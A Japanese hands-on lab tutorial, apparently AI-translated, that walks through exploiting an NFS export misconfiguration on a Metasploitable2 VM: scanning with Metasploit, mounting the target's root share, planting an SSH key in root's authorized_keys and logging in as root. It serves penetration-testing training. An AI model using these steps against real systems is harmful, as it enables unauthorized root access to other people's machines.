Nmap を使用して NFS の設定ミスを悪用し、Root 権限を取得する

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

ネットワークファイルシステム (Network File System, NFS) は、ユーザーがリモートファイルをローカルファイルのようにアクセスできる分散ファイルシステムプロトコルです。しかし、NFS の設定が不適切な場合、深刻なセキュリティホールにつながり、攻撃者がシステムに不正アクセスする可能性があります。この実験では、NFS の設定ミスを利用してターゲットマシンにルートアクセスする方法を学びます。

この実験の目的は、NFS の設定ミスに関連するリスクを理解し、NFS ベースの攻撃を成功させる方法を学ぶことです。実験終了時には、NFS 共有を特定し、ローカルにマウントし、設定ミスを利用してターゲットシステムでルート権限を取得する実践的な経験を積むことができます。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/port_scanning("Port Scanning Methods") nmap/NmapGroup -.-> nmap/target_specification("Target Specification") subgraph Lab Skills nmap/installation -.-> lab-416131{{"Nmap を使用して NFS の設定ミスを悪用し、Root 権限を取得する"}} nmap/port_scanning -.-> lab-416131{{"Nmap を使用して NFS の設定ミスを悪用し、Root 権限を取得する"}} nmap/target_specification -.-> lab-416131{{"Nmap を使用して NFS の設定ミスを悪用し、Root 権限を取得する"}} end

NFS 共有のスキャン

このステップでは、Metasploit Framework を使用してターゲットマシンの NFS 共有をスキャンします。

ここで、実験用の攻撃マシン(Kali Linux コンテナ)とターゲットマシン(Metasploitable2 仮想マシン)を起動します。

  1. LabEx ホストマシンで xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するまで待ちます。起動には 1 - 3 分かかる場合があります。

  1. ターゲットマシンに ping を送信して接続性をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、以下のコマンドを実行して bash 環境に入ります。
docker run -ti --network host --privileged b5b709a49cd5 bash

ここでは追加の --privileged パラメータがあります。これは、コンテナ内の root が実際の root 権限を持つようにするために使用されます。そうしないと、コンテナ内の root は外部の権限を持つ通常のユーザーに過ぎません。--privileged パラメータでコンテナを起動すると、ホスト上の多くのデバイスを見ることができ、mount を実行することができ、さらにはコンテナ内で Docker コンテナを起動することもできます。

  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が起動しており、ペネトレーションテストを開始することができます。

  1. 次に、Metasploit コンソールを起動します。
cd ~
msfconsole
  1. Metasploit コンソールで、auxiliary/scanner/nfs/nfsmount モジュールを使用して NFS 共有をスキャンします。
use auxiliary/scanner/nfs/nfsmount
set rhosts 192.168.122.102
set threads 5
show options
exploit

このモジュールはターゲットシステムをスキャンし、エクスポートされている NFS 共有を表示します。

Ctrl+D を押して Metasploit コンソールを終了し、次に検査を開始します

NFS 共有のマウント

このステップでは、Kali コンテナに NFS のルート共有をマウントします。

まず、nfs-common パッケージをインストールします。

cd /
apt-get install -y nfs-common

NFS のルート共有をマウントします。

mount -t nfs -o nolock 192.168.122.102:/ /mnt

このコマンドは、ターゲットシステムのルートディレクトリ (/) を Kali コンテナの /mnt ディレクトリにマウントします。

/mnt ディレクトリの内容を一覧表示することで、NFS 共有が正しくマウントされていることを確認します。

ls /mnt

ターゲットシステムのルートディレクトリの内容が表示されるはずです。

SSH キーペアの作成

このステップでは、ターゲットシステムへのパスワードレス SSH アクセスを可能にするために、SSH キーペアを作成します。

SSH キーペアを生成します。

ssh-keygen -t rsa -b 4096 -f /root/.ssh/id_rsa

このコマンドは、2 つのファイル /root/.ssh/id_rsa(秘密鍵)と /root/.ssh/id_rsa.pub(公開鍵)を作成します。

パスワードレス SSH アクセスの有効化

このステップでは、公開鍵をターゲットシステムの承認済みキーファイルに追加し、パスワードレス SSH アクセスを有効にします。

公開鍵をターゲットシステムの承認済みキーファイルにコピーします。

cat /root/.ssh/id_rsa.pub >> /mnt/root/.ssh/authorized_keys

このコマンドは、公開鍵ファイルの内容をターゲットシステムの /root/.ssh/authorized_keys ファイルに追加します。

ルートアクセスの取得

このステップでは、パスワードレス SSH アクセスを使用して、ターゲットシステムにルートユーザーとしてログインします。

SSH を使用してターゲットシステムに接続します。

ssh -o HostKeyAlgorithms=ssh-rsa,ssh-dss [email protected]

これで、パスワードを求められることなく、ターゲットシステムでルートシェルを取得できるはずです。

まとめ

この実験では、NFS の設定ミスを利用して、ターゲットシステムに不正なルートアクセスを取得する方法を学びました。まず、Metasploit Framework を使用して NFS 共有をスキャンし、次にローカルマシンに NFS のルート共有をマウントしました。次に、SSH キーペアを作成し、公開鍵をターゲットシステムの承認済みキーファイルに追加して、パスワードレス SSH アクセスを有効にしました。最後に、パスワードレス SSH アクセスを使用して、ターゲットシステムにルートユーザーとしてログインしました。

この実験は、NFS 共有を適切に設定することの重要性と、設定ミスに関連する潜在的なリスクを示しています。これらの脆弱性を理解することで、システムをより安全にし、潜在的な攻撃から保護することができます。